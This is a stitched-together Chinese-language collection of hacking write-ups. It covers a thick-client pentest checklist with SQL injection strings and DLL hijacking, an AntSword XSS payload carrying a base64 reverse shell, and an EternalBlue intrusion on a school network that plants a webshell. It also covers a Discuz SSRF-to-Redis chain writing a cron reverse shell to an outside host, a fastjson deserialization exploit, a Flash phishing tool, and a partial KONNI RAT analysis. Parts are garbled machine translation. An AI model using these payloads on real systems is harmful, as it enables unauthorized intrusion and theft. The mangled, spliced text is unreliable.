.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
16114
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
本文仅用于交流学习， 由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，文章作者不为此承担任何责任。
渗透测试可分为三个阶段
3.客服系统钓鱼引导等
4.积分系统针对脆弱的旁站
5.充值接口
6.找源代码分析某演示站泄露的源码白盒分析
本项目主要针对pc客户端（cs架构）渗透测试，结合自身测试经验和网络资料形成checklist，如有任何问题，欢迎联系，期待大家贡献更多的技巧和案例。
PC客户端，有丰富功能的GUI，C-S架构。
C#(.NET)，JAVA，DELPHI，C，C++......
TCP、HTTP(S)，TDS......
oracle，mssql，db2......
//相关工具下载：https://github.com/theLSA/hack-cs-tools
dvta： pc客户端靶场
ida pro： 静态分析工具
ollydbg：动态分析工具
CFF Explorer：PE文件分析
PEID：查壳工具
exeinfope/studype：pe文件分析
wireshark：观察流量
tcpview：观察tcp流量
echo Mirage：可拦截tcp流量
burpsuite：http(s)抓包
proxifier：全局代理流量
procmon：文件和注册表监控
regshot：注册表变化对比
process Hacker：进程分析
RegfromApp：注册表监控
WSExplorer：岁月联盟进程抓包工具
strings：查看程序的字符串
.net[反]编译：
dotpeek
de4dot
dnspy
ilspy
sae
ildasm
ilasm
Java反编译
jad
jd-gui
jadx
dex2jar
在线版：
javare.cn
www.javadecompilers.com
Reflexil：组装编辑器（可以作为ilspy插件）
Vcg：自动化代码审计工具
BinScope：二进制分析工具
大部分客户端没有代理配置功能，需要自行设置全局代理，如下两种方法：
1）IE-internet设置-连接-局域网设置。
2）proxifier --> proxy server/proxification rules
//http的流量可以结合burpsuite方便测试（proxy server设置为burp代理地址）。
编译信息，开发环境/语言，使用协议，数据库，ip，混淆/加密，是否加壳等。
案例0-CFF查看客户端信息（如编译环境）
dvta
反编译，源代码泄露，硬编码key/password，加解密逻辑，角色判断逻辑（0-admin，1-normaluser），后门等。
案例0-反编译获取加解密逻辑并编写解密工具
dvta
通过该逻辑和获取的信息
Encrypted Text: CTsvjZ0jQghXYWbSRcPxpQ==
AES KEY: J8gLXc454o5tW2HEF7HahcXPufj9v8k8
IV: fq20T0gMnXa6g0l4
编写解密工具
using System; using System.Collections.Generic; using System.ComponentModel; using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Security.Cryptography;
namespace aesdecrypt
{
public partial class aesdecrypt : Form
{
public aesdecrypt()
{
InitializeComponent();
}
private void decrypt(object sender, EventArgs e)
{
String key = “J8gLXc454o5tW2HEF7HahcXPufj9v8k8”;
String IV = “fq20T0gMnXa6g0l4”;
String encryptedtext = “CTsvjZ0jQghXYWbSRcPxpQ==”;
byte[] encryptedBytes = Convert.FromBase64String(encryptedtext);
AesCryptoServiceProvider aes = new AesCryptoServiceProvider();
aes.BlockSize = 128;
aes.KeySize = 256;
aes.Key = System.Text.ASCIIEncoding.ASCII.GetBytes(key);
aes.IV = System.Text.ASCIIEncoding.ASCII.GetBytes(IV);
aes.Padding = PaddingMode.PKCS7;
aes.Mode = CipherMode.CBC;
ICryptoTransform crypto = aes.CreateDecryptor(aes.Key, aes.IV);
byte[] decryptedbytes = crypto.TransformFinalBlock(encryptedBytes, 0, encryptedBytes.Length);
String decryptedString = System.Text.ASCIIEncoding.ASCII.GetString(decryptedbytes);
Console.WriteLine(“\n”);
Console.WriteLine(“##########Decryptig Database password##########\n”);
Console.WriteLine(“Decrypted Database password:” + decryptedString+”\n”);
Console.WriteLine(“##########Done##########\n”);
}
}
}
//解密代码源自https://resources.infosecinstitute.com/damn-vulnerable-thick-client-app-part-5/#article
案例1-反编译修改代码逻辑让普通用户以管理员登录
dvta
1-Isadmin
0-Normaluser
改1为0即可判断为admin
明文敏感信息，敏感文件（如安装目录下的xxx.config）。
注册表：利用regshot比较客户端运行（如登录）前后注册表差别。
开发调试日志泄露（如dvta.exe >> log.txt）
process hacker查看客户端内存中的明文敏感数据（如账号密码/key）。
strings直接查看客户端字符串（如ip信息）。
查看源代码（如github,gitee等）
案例0-配置敏感信息泄露
dvta
案例1-内存泄露数据库账号密码
dvta
案例2-源代码含有硬编码ftp账号密码
dvta
案例3-开发调试日志泄露
dvta
//本案例来源于https://blog.csdn.net/weixin_30685047/article/details/95916065wireshark/echo Mirage/burpsuite+nopeproxy/fillder/charles
ftp等协议明文传输的账号密码
SQL语句明文传输（如利用构造注入，越权等）
案例0-正方教务系统sql语句明文传输，返回明文数据
//本案例来源于wooyu
案例1-某系统登录处数据包返回数据库帐号密码
案例0
如登录功能。
案例0
可尝试admin 123456等。
案例0
案例1
如登录处，万能密码
xxx’ or ‘x’=’x
xxx’ or 1=1--
输入框处，构造闭合报错，如’、’)、%’)、order by 100--等。
利用显示位或报错注出数据，原理同web注入，不同数据库大同小异。
案例0-oracle注入
' union select null,null,(select user from dual),null,null,(select banner from sys.v_$version where rownum=1),null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null from dual--
案例1-mssql注入
111') and (select user)>0--
如导出excel，输入1+1，导出后看是否为2。
如Electron，NodeWebKit等。
案例0-中国蚁剑xss到rce
环境：win7+phpstudy(php5.6.27-nts)+perl+nc+antsword2.0.5
xss webshell：
<?php
header('HTTP/1.1 500 <img src=# onerror=alertx>');
windows+node.js:
成功
var net = require("net"), sh = require("child_process").exec("cmd.exe");
var client = new net.Socket();
client.connect(6677, "127.0.0.1", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);
sh.stderr.pipe(client);});
<?php
header("HTTP/1.1 500 Not <img src=# onerror='eval(new Buffer(dmFyIG5ldCA9IHJlcXVpcmUoIm5ldCIpLCBzaCA9IHJlcXVpcmUoImNoaWxkX3Byb2Nlc3MiKS5leGVjKCJjbWQuZXhlIik7CnZhciBjbGllbnQgPSBuZXcgbmV0LlNvY2tldCgpOwpjbGllbnQuY29ubmVjdCg2Njc3LCAiMTI3LjAuMC4xIiwgZnVuY3Rpb24oKXtjbGllbnQucGlwZShzaC5zdGRpbik7c2guc3Rkb3V0LnBpcGUoY2xpZW50KTsKc2guc3RkZXJyLnBpcGUoY2xpZW50KTt9KTs=,base64).toString())'>");
相关参考
https://www.anquanke.com/post/id/176379
命令执行
案例0-印象笔记windows客户端6.15本地文件读取和远程命令执行http://blog.knownsec.com/2018/11/%E5%8D%B0%E8%B1%A1%E7%AC%94%E8%AE%B0-windows-%E5%AE%A2%E6%88%B7%E7%AB%AF-6-15-%E6%9C%AC%E5%9C%B0%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E5%92%8C%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C/
案例1-某云pc客户端命令执行挖掘过程
https://www.secpulse.com/archives/53852.html
案例2-金山WPS Mail邮件客户端远程命令执行漏洞(Mozilla系XUL程序利用技巧)
https://shuimugan.com/bug/view?bug_no=193117
测试点同web。
Linux文件搜索顺序：
程序搜索Dll顺序：
//没提供绝对路径
1.应用程序加载的目录。
2.当前目录。
3.系统目录 (C:\Windows\System32\)。
4.16位的系统目录。
5.Windows目录。
6.PATH变量的目录。
程序可以加载攻击者放置的恶意dll。
利用procmon搜索程序加载的dll，观察name not found。
msf生成恶意dll放置于程序加载位置，运行程序即可触发payload。
案例0-dll劫持
dvta
测试点同web。
注册表键值，授权服务器返回信息构造。
相关参考
https://cloud.tencent.com/developer/article/1430899
案例0-正方教务系统数据库任意操作
知道ip即可接管数据库
//本案例来源于wooyun
ip.addr == 1.2.3.4&&http
https://resources.infosecinstitute.com
他自己的学校“涂黑”可能是学生在学生中大多数黑人富裕学生的普遍痴迷。
一时兴起，我突然想看看学校是否可以使用永恒的蓝色击落机器，顺便说一句，我想看看Intranet渗透是否渗透了。当刚刚揭示了永恒的蓝色利用工具时，我想到了最后一个测试。当时，MSF尚未集成，因此直接使用MSF更加方便。
已知10.10.10.0/24 IPS用于学校的各种服务器
使用MSF中的批处理MS17_010验证模块：
123456MSF5使用辅助/扫描仪/smb/smb/smb/smb/smb/smb_ms17_010 msf5辅助（scanner/smb/smb/smb/smb/smb/smb/smb/smb/smb_ms17_010）set rhosts 10.10.0.0.0.10.10.10.10.10.254rhost=10.10.10.10.10.10.10.10.10.10.10.10.10.10.10.10.254MSF5辅助（scanner/smb/smb/smb_ms17_010）设置线程20 threads=20msf5辅助（scanner/smb/smb/smb/smb/smb/smb_ms17_010）exploit扫描的结果如下
IP为10.10.10.104（2008 x64）的主机可以成功使用：
此主机的关键信息：端口8080正在运行Tomcat的服务，端口3389不打开，3306正在运行MySQL服务，暂时未考虑其他端口。
123456789111121314151617192021222222222426MMSF5使用Exploit/windows/windows/smb/msb/ms17_010_eternalblue msf5 exploit（windows/smb/smb/ms17_010_eternalblue） (exploit/windows/smb/ms17_010_eternalblue): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target address range or CIDR identifier RPORT 445 yes The target port (TCP) SMBDomain .否（可选）用于身份验证的Windows域SmbPass no（可选）指定用户名Smbuser no（可选）用户名为VERIFY_ARCH true是的，请检查远程体系结构是否与Exploit target.exploit Target : ID名称---- 0 Windows 7 Windows 7和Server 2008 R2（x64 R2） exploit（Windows/SMB/MS17_010_ETERNALBLUE）设置RHOST 10.10.10.10.104RHOSTS=10.10.10.10.10.104MSF5 EXPLOIT（Windows/SMB/MS17_010_ETERNALBLUE）运行以下图成功返回了CMDSHELL，并且还可以直接返回系统权限。但是，任务清单/SVC查看当前过程并具有360个主动防御，这更加令人困惑。根据原则，应将其阻止。也许我很幸运2333：
由于CMDShell不像MeterPreter（MeterPreter具有相对功能强大的功能）那样容易使用，因此请尝试升级到MeterPreter
第一个方法：
12345678911112131415MSF5 exploit（Windows/SMB/MS17_010_ETERNALBLUE）使用POST/MULTI/MALTI/MANCAN/MANCAN/SHELL/SHELP_TO_METERPRETER MSF5 POST（multi/shell_to_to_to_meter） ------------------------------------------------ true是启动一个漏洞/多/处理程序，以接收接收有效载荷连接的主机的连接lhost lhost no IP（将尝试自动检测）。 LPORT 4433是有效载荷连接到的端口。会话是的会话会话。
1件-U 1，我不知道为什么失败（更改想法）：
Windows随附的远程文件下载功能非常强大，因此您可以下载所需的任何内容。
一开始，我想直接打开端口并使用我的帐户登录。我没想到远程连接存在问题。然后我以为我可以带外壳尝试一下。
此计算机打开Apache服务，将3389. bat放入/var/www/html中，在cmdshell中执行它。下载成功后，运行3389.bat
1bitsadmin /Transfer N http://IP /OPEN3389.BAT C: \ Windows \ Windows \ 3389.Bat运行后（记住要删除），发现端口3389已打开
在Kali下连接到远程桌面的问题很小。 Baidu之后，我没有清楚地解释这一点（我暂时放弃了）。
但是，当我切换到Win系统时，似乎没有问题，因为我考虑了如何方便地进行操作（物理机器运行Kali，如果我切换回赢），我不会捕获密码。
首先找到Web所在的目录（请记住用空格的目录进行双引号）：
1234dir C: \ dir'c: \ program Files \'. dir'C: \ Program Files \ apache Software Foundation \ tomcat 7.0 \ webapps \ eleserver \ eLeserver \'看起来应该是电源管理系统：
最后，我决定将外壳放在系统的UI框架的目录中。
还使用远程文件将JSP马来西亚下载到此目录
1bitsadmin /Transfer N http://IP /Xieying.jsp'C: \ Program Files \ Apache Software Foundation \ Apache Software Foundation \ Tomcat 7.0 \ WebApps \ Eleserver \ Eleserver \ bjui \ bjui \ plugins \ xieying.jsp
我觉得它只是远程登录。无需浏览系统文件并删除电源系统和备份数据库的战争包。在本地构建它，您应该能够获取系统的帐户密码。
删除外壳后，我仍然是一个听话和好学生。
主站注册可以发现jsp和php后缀共存，应该是不同路由反代了不同的中间件，找不到啥漏洞。
论坛是Discuz! X3.2
发现Discuz急诊箱。
admin.php 403，uc_server和急诊箱均无弱密码。
在《渗透某盗版游戏网站》中我介绍了Discuz后台有什么漏洞，那么前台漏洞呢？主要有任意文件删除，SSRF，uc_server爆破。
首先是任意文件删除。
POST /home.php?mod=spacecp&ac=profile&op=base
birthprovince=../../../info.php
然后再POST文件上去，即可删除info.php
<formaction="https://x.com/home.php?mod=spacecp&ac=profile&op=base"method="POST" enctype="multipart/form-data">
<input type="file"name="birthprovince" id="file" />
<input type="text"name="formhash" value="017b5107"/>
<input type="text"name="profilesubmit" value="1"/>
<input type="submit"value="Submit" /></from>
这个漏洞虽然危害不低，但对后续渗透没什么用，Discuz很难通过删除文件去install。
再看SSRF。
/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://qzf9jq.dnslog.cn/1.png[/img]&formhash=017b5107
这是一个不回显的SSRF，只能通过时间延迟来判断。
一，可直接通过http去探测内网，如果ip存活则短延迟(不管端口开没开)，如果ip不存在则长延迟。
二，可以通过302跳转改变协议，ftp，dict，gopher都支持。
三，可以通过ftp协议来探测端口，如果端口开放则长延迟，如果端口关闭则短延迟。
先通过http协议访问我的VPS获取论坛的真实ip。
163.*. *.35.bc.googleusercontent.com(35.*.*.163)
然后尝试盲打本地redis(这里探测本地端口全关，认为不合理，所以直接盲打)
gopher协议攻击redis时本地测试的时候发现不需要用$声明每行命令字符串长度。
先看清晰的SSRF攻击payload
/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://62.1.1.1/302.php?s=gopher&ip=127.0.0.1&port=6379&data=_flushall%0d%0aconfigset dir /var/spool/cron/%0d%0aconfig set dbfilename root%0d%0aset 0"\n\n*/1 * * * * bash -i >& /dev/tcp/62.1.1.1/56670>&1\n\n"%0d%0asave%0d%0aquit%0d%0a&xx=1.png[/img]&formhash=017b5107
然后302.php?到data=之间的&要url编码，data=到xx=1.png的所有字符串都进行两次url编码，去bp中发包。
/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://62.1.1.1/302.php?s=gopher%26ip=127.0.0.1%26port=6379%26data=%25%35%66%25%36%36%25%36%63%25%37%35%25%37%33%25%36%38%25%36%31%25%36%63%25%36%63%25%32%35%25%33%30%25%36%34%25%32%35%25%33%30%25%36%31%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%39%25%37%32%25%32%30%25%32%66%25%37%36%25%36%31%25%37%32%25%32%66%25%37%33%25%37%30%25%36%66%25%36%66%25%36%63%25%32%66%25%36%33%25%37%32%25%36%66%25%36%65%25%32%66%25%32%35%25%33%30%25%36%34%25%32%35%25%33%30%25%36%31%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%32%25%36%36%25%36%39%25%36%63%25%36%35%25%36%65%25%36%31%25%36%64%25%36%35%25%32%30%25%37%32%25%36%66%25%36%66%25%37%34%25%32%35%25%33%30%25%36%34%25%32%35%25%33%30%25%36%31%25%37%33%25%36%35%25%37%34%25%32%30%25%33%30%25%32%30%25%32%32%25%35%63%25%36%65%25%35%63%25%36%65%25%32%61%25%32%66%25%33%31%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%36%32%25%36%31%25%37%33%25%36%38%25%32%30%25%32%64%25%36%39%25%32%30%25%33%65%25%32%36%25%32%30%25%32%66%25%36%34%25%36%35%25%37%36%25%32%66%25%37%34%25%36%33%25%37%30%25%32%66%25%33%36%25%33%32%25%32%65%25%33%31%25%32%65%25%33%31%25%32%65%25%33%31%25%32%66%25%33%35%25%33%36%25%33%36%25%33%37%25%32%30%25%33%30%25%33%65%25%32%36%25%33%31%25%35%63%25%36%65%25%35%63%25%36%65%25%32%32%25%32%35%25%33%30%25%36%34%25%32%35%25%33%30%25%36%31%25%37%33%25%36%31%25%37%36%25%36%35%25%32%35%25%33%30%25%36%34%25%32%35%25%33%30%25%36%31%25%37%31%25%37%35%25%36%39%25%37%34%25%32%35%25%33%30%25%36%34%25%32%35%25%33%30%25%36%31%25%32%36xx=1.png[/img]&formhash=017b5107
但发现payload被Discuz自带的XSS和SQL注入的防护拦截了。
因此payload只能放在VPS中写死。
<?php
$ip=$_GET['ip'];
$port=$_GET['port'];
$scheme=$_GET['s'];
$data='_flushall%0d%0aconfigset dir /var/spool/cron/%0d%0aconfig set dbfilename root%0d%0aset 0"\n\n*/1 * * * * bash -i & /dev/tcp/62.1.1.1 /56670>&1\n\n"%0d%0asave%0d%0aquit%0d%0a';
header("Location:$scheme://$ip:$port/$data");
测试一下打VPS上的redis能否成功
/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://62.1.1.1/302.php?s=gopher%26ip=62.1.1.1%26port=6379%26data=1.png[/img]&formhash=017b5107
没问题。但实际环境中利用失败了，原因不确定，没有redis或者redis权限不够或者redis有密码都是有可能的。
开始写脚本探测内网，不过并未抱多大希望，其为谷歌云，并不一定有内网。
先生成所有内网ip的*.*.*.1的ip字典
f = open('ip.txt','w')
f.write('127.0.0.1')
f.write('localhost')
for i in range(1,256):
ip = '192.168.'+str(i)+'.1'
f.write(ip)
for i in range(16,32):
for ii inrange(1,256):
ip = '172.'+str(i)+'.'+str(ii)+'.1'
f.write(ip)
for i in range(1,256):
for ii inrange(1,256):
ip = '10.'+str(i)+'.'+str(ii)+'.1'
f.write(ip)
f.close()
然后通过时间延迟来寻内网ip段，这里由于ip不通的延迟长达7s以上，所以一定要用多线程才能跑完。由于探测ip是否存在任何协议都可以，所以干脆直接使用gopher攻击redis的payload，万一直接打中了呢。import requests
import threading
def ssrf(i):
url = 'https://x.com/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://62.1.1.1/302.php?s=gopher%26ip='+i+'%26port=6379%26data=1.png[/img]&formhash=017b5107'
header = {"User-Agent":"Mozilla/5.0(Windows NT 6.1; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip,deflate",
"Connection": "keep-alive"
}
cookie = {"PNuE_2132_saltkey":"vx3wOD3T","PNuE_2132_auth":"8b46%2F9AD2x2XyfyESVQaytdhS%2FVWrzIGQLWCe3IAr6AIwuX8raGrp%2BgRkMv39ylNO2GAIfHep01AGhxApI0OCyXirNKx"}r = requests.get(url,cookies=cookie,headers=header,allow_redirects=False)
if r.elapsed.total_seconds()> 6:
timeout = str(i)+'port:'+str(r.elapsed.total_seconds())
print(timeout)
else:
timeout = str(i)+'port:'+str(r.elapsed.total_seconds())
fo = open('openip.txt','a')fo.write(str(i)+'open\n')
fo.close()
print(str(i)+'open')
print(timeout)
def thread(list):
name = []
for i in list:
th = threading.Thread(target=ssrf,args=(i,))
name.append(th)
th.start()
for th inname:
th.join()
folist = open('ip.txt','r')list = []
flag = 0
for i infolist.readlines():
i = i.replace('\n','')if flag <21:
list.append(i)
flag = flag+1
else:
thread(list)
flag = 0
list = []
只发现一个开放的网关172.30.2.1，再跑此网关上的内网ip，更换ip.txt即可。
结果跑了一天只跑出两个内网ip，172.30.2.1和172.30.2.2，大概率172.30.2.2是它自己，172.30.2.1是云服务器的虚拟网关。
最后再用ftp协议跑它们的端口，脚本自己改改就行了。
大部分都是误报，其实只开了80和443两个端口，所以除非之后发现其他内网ip，否则SSRF是不用指望了。
最后一个uc_server爆破，原理为改XFF头导致图形验证码固定，同样利用失败，详情见https://www.freebuf.com/articles/web/197546.html
论坛告一段落，接下来看看客服系统有啥问题。
/res/image.html?id=upload/6c825ed7ea4cd25657288ab4f7d0227f
id传参，无法目录穿越。文件上传无法利用，开始目录扫描。
admin登录界面有滑块验证，不过是前端骗人的，后端没用到，尝试爆破无果。
看到/actuator，就知道是spring boot了，使用针对性字典爆破。
/swagger-ui.html为空，/env跳转admin，/heapdump 403。
但鬼使神差的我试了试/heapdump.json
解压出来1G内存文件，使用MemoryAnalyzer将其打开，OQL查询。
由于没有/env配合，只能盲查配置信息，这里写一些我摸索出来的小技巧。
select* from org.springframework.web.context.support.StandardServletEnvironment查配置，注意以Retained Heap(大小)排序，比较方便。
select* from java.lang.String s WHERE toString(s) LIKE ".*password.*"查含password的字符串，这种查法不易找出关联类，但可以快速找出登录记录之类的。password替换成http://之类的可以找出一些url。
select* from java.util.Hashtable$Entry x WHERE(toString(x.key).contains("username"))select* from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))select* from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("url"))快速查数据库相关信息，发现mysql地址账户密码，不过很遗憾是亚马逊的数据库，默认存在ip白名单，无法远程登录。
select* from java.lang.String s WHERE toString(s) LIKE ".*SESSION.*"发现正在登录的session，替换之后登录到后台。
后台使用wss协议进行实时对话，头像处，客服回复处均无利用点。只发现了一些毒狗的哀嚎。
黑盒测试无果，heapdump中翻找有特征的类名，然后去github搜，发现了一份可能是初始版源码，目标用的是改版，源码不太全。
对不全的代码进行审计，找到一处任意文件读取和一处SSRF。
有了部分源码，知道配置文件位置，读取配置文件
获取数据库配置，当然之前在heapdump内存中已经知道了。获取内网ip，172.x.x.x，写脚本开始跑内网ip，脚本参考Discuz那个。
同理，后续用ftp协议扫描内网端口。不过很可惜，java ssrf一般不支持dict和gopher，论坛和客服又不在同一内网，所以很难攻击内网比如redis。
前面一直没提的是，此客服系统存在管理员后台，不过存在ip白名单限制，访问403，虽然能利用SSRF绕过，但是由于只能发起GET请求，无法尝试登陆。
这两处漏洞依旧无法getshell，我决定去fofa上搜同版本客服系统，然后利用任意文件下载来获取完整的源码。
很幸运，直接碰到一个网站可以读.bash_history，在操作记录中暴露了源码路径，获得war包。
开始审计，SQL方面使用的是jpa1.11.6，基本不存在注入问题，但仔细研究发现同时少部分地方用了mybatis。于是查看四个mybatis的xml，找到两处使用$的地方。
ScacMapper.xml
经典的mybatis order by注入。位于ScacRepository类的findRule方法，全局搜索调用了此方法的地方。
发现不可控，再看第二处。
ChatMapper.xml
位于AgentService类的findChatService方法，全局搜索。
satislevel参数可控，网站中寻找路由，发现是用来查询历史会话的。
/service/history/index.html?ps=20&type=0&begin=2021-02-25+00%3A00&end=2021-02-25+23%3A59&username=&ipdata=&snsid=&tagid=&referrer=&uuid=&ai=&skill=000000007705622b017714226691166b&agent=00000000771d75d801771df3ff280135&aiwork=&aiid=&message=&channel=&startTime=&endTime=&firstreplyStartTime=&firstreplyEndTime=&agenttimeouttimes=&assess=&sessiontype=&evaluate=&satislevel=&label=&assessmessage=
SQL注入成功，不过是个布尔盲注，注入较耗时间。
然后发现fastjson版本较低，于是瞄上了fastjson反序列化。
全局搜索parseObject方法，路由中发现两处。IMController和ApiContactsController。
IMController虽然在前台，但涉及到AES解密和定位key，利用起来较为复杂。
所以决定利用ApiContactsController的save方法。
由于通过heapdump登录过客服后台，直接访问save的路由，却尴尬的发现报401
很显然，客服后台和这个接口不在同一体系，但密码应该是通用的，猜测这些接口是给手机app用的，heapdump中曾获取了用户名，于是在ApiLoginController中找到登录接口，开始爆破。当然，也可以利用之前审计出来的SQL注入，不过实在太慢而且不一定解的出来我就先爆破了。
成功获取凭证，访问路由。
这里是个联系人接口，查用GET，增用PUT，改用POST，删用DELETE，只有改才会调用fastjson。所以直接POST fastjson payload就行。
fastjson 1.24以上版本默认关闭autotype，但1.2.47版本以下可以用如下payload绕过此限制。详情见我的文章《java反序列化实战》。
https://mp.weixin.qq.com/s/Cj59LNM4pWHyn3sxUU6Nkg
{"a":{"@type": "java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b": {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Object","autoCommit": true}}
成功获取dnslog请求，接下来就是用fastjson反序列化getshell就行了吗？
事情并没有那么简单，之前通过heapdump在内存中看到java版本为1.8.0_242，那么rmi和ldap两个JNDI注入都无法使用，这和实际用marshalsec测试结果一致。本地加载有两种方法，org.apache.tomcat.dbcp.dbcp.BasicDataSource需满足fastjson在1.2.25版本以下因此排除，com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl可以以java.lang.Class绕过，但我在本地成功利用com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl，在实际环境中却没能成功。
我在此处被拦了几个小时，最后发现存在rmi反序列化，链为URL链。注意：rmi注入恶意类和rmi反序列化是不一样的。
rmi注入恶意类(marshalsec)，是连接rmi服务器，rmi服务器让受害者去加载远程http服务上的恶意类。受到java版本限制。
rmi反序列化(ysoserial)，是连接rmi服务器，在和rmi服务器通信的过程中被反序列化攻击了。无版本限制，只需要反序列化链。
如下图，恶意服务器上起一个ysoserial的rmi服务，然后用fastjson去连接之。
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 URLDNS "http://2evix2.dnslog.cn"
成功获取dns请求，那么我只需要找到一条能够利用的反序列链，就能够getshell。
spring项目一般来说，很难有一条序列化链，因为用的commons-collections版本都较高。不过最近ysoserial刚好更新了一个文件上传的aspectjweaver链，而源码中的jar包满足条件。
详情见https://mp.weixin.qq.com/s/2stdx1cm7BfKeSR50axC-w
先尝试向/tmp中写文件
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 AspectJWeaver "../../../tmp/ahi.txt;YWhpaGloaQ=="
然后利用任意文件读取确认文件是否被写入。
尝试写webshell，成功getshell
由于其存在负载均衡，可以拿到两台服务器权限，至此渗透完毕。
同一句子：闪光永远是上帝〜
我一直想用更精致的界面编写闪光钓鱼，但是实现各种效果有点麻烦。我碰巧找到了图层的令人敬畏的子弹层组件。一开始，我直接使用了图片并获得了几行代码，但它仍然不完美。后来，我将其发布到T00L，每个人都集思广益，并提出了一些非常好的建议。经过几次修改后，在下面找到了最终版本。
在线预览：http://Flash-pop.se7ensec.cn/
有人说闪光不容易使用。我觉得分析对方做什么并进行一些自动化和定制效果很好是一个好主意。在线费率实际上很高。
项目地址：https://github.com/r00tse7en/flash-pop
KONNI是一種遠程訪問木馬，至少在8年前就被發現了。使用這款惡意軟件的朝鮮威脅者已經在金蘇基的保護傘下被確認。這個組織一直試圖發起攻擊，主要目標是俄羅斯和韓國的政治機構。
近日，研究人員發現朝鮮APT組織Konni的攻擊活動，該組織向俄羅斯大使館外交官發送以新年問候為主題的電子郵件，以進行情報收集活動。在本次攻擊活動中，最終的植入程序被稱為Konni RAT，其代碼和行為與其以前的版本相似。攻擊中所使用的攻擊鏈與該組織的TTP重疊，包括使用CAB 文件作為感染階段以及使用bat 文件自動安裝Konni RAT 並設為服務。
攻擊鏈攻擊通常開始於惡意Office文檔地利用，當這個文檔被受害者打開時，一個多階段攻擊就開始了，涉及多個步驟。但這些步驟只是攻擊者設法完成提升權限、逃避檢測和部署所需文件任務的方式。正如我們在之前的一篇文章中所描述的，攻擊鏈可以用下圖來概括：
簡化後的攻擊鏈
可以看到攻擊是從利用惡意Office文檔開始的。當這個文檔被受害者打開時，一個多階段攻擊就開始了，包括各個步驟。但這些步驟只是攻擊者設法完成提升權限、逃避檢測和部署所需文件任務的方式。
攻擊的最終目標是安裝所謂的“KONNI Rat”，這是一個由.ini 文件支持的.dll 文件。簡而言之，dll 文件包含RAT 的功能，ini 文件包含第一個CC 服務器的地址。 KONNI Rat 的一般行為與以前的版本幾乎相同，但我們將在下面介紹一些變化。
不再支持Rundll在之前的KONNI Rat示例中，有兩個途徑。一個處理惡意軟件是否通過Windows服務啟動，另一個通過rundll處理執行。下圖顯示了這兩個過去的途徑，svchost.exe和rundll32.exe字符串可見：
顯示svchost.exe 和rundll32.exe 字符串的老式主函數
但是，新示例不會顯示這些字符串。實際上，rundll 不再是執行示例的有效方式。相反，當使用rundll 發生執行嘗試時，會在早期階段引發異常。
rundll 執行產生的異常
在我們分析的早期階段，我們認為他們正在使用經典的進程名稱檢查或任何其他常用技術。現實要簡單得多。實際的導出只是實現了SvcMain 原型，因此程序在訪問其中一個參數時會在某個時候中斷。
在上圖中，我們看到了出現此異常時設備的狀態。此時的RDI 應包含指向一個服務名稱的指針。發生異常是因為Service Main 函數滿足一個原型，而rundll32 將期望另一個不同的原型：
VOIDWINAPISvcMain(DWORDdwArgc,LPTSTR*lpszArgv)
VOIDWINAPIrunnableExport(HWNDhwnd,HINSTANCEhinst,LPSTRlpszCmdLine,intnCmdShow)基本上，在執行過程中，hinst 將被視為lspzArgv，從而導致異常。但為什麼攻擊者要刪除該功能呢？有多種好處。
首先，我們還沒有看到任何最近使用rundll的攻擊。事實上，在最近的攻擊活動中，攻擊者發起KONNI Rat的唯一方式就是註冊一個Windows服務。因此，在真實世界的攻擊中並沒有使用rundll32分支。
但沙盒無法收集示例的真實行為還有另一個重要原因，因為它無法以這種方式執行。
字符串現在使用AES保護多個惡意軟件家族保護他們的字符串，目的就是為了防止字符串分析。 KONNI也不例外，他也使用了這種技術。老式示例使用base64進行模糊處理處理。而且，他們使用的是自定義字母表。為了使解碼任務更加困難，這個習慣字母表不時地發生變化：
舊的Konni 示例包括他們自定義的base64 字母，後面跟著模糊處理的字符串
現在，攻擊者在這方面做了一個重大的改變，使用AES加密來保護字符串。新的Konni RAT 示例所遵循的算法可以表示如下：
新的KONNI 示例現在使用AES 加密來保護字符串
這一變化背後的原因是顯而易見的。由於用於解密的密鑰是服務名，不同服務名運行的示例將無法正常工作。此外，在不知道服務名稱的情況下僅擁有示例變得毫無用處，因為這些字符串包含有關示例行為的核心信息。
文件也使用AES進行保護KONNI Rat 在執行時會使用各種支持文件，其中一個文件是.ini 文件，其中包含主要的CC 服務器，但還有其他文件，例如應該最終刪除的.dat 文件，以及用於發送有關計算機的一些基本信息的臨時文件。
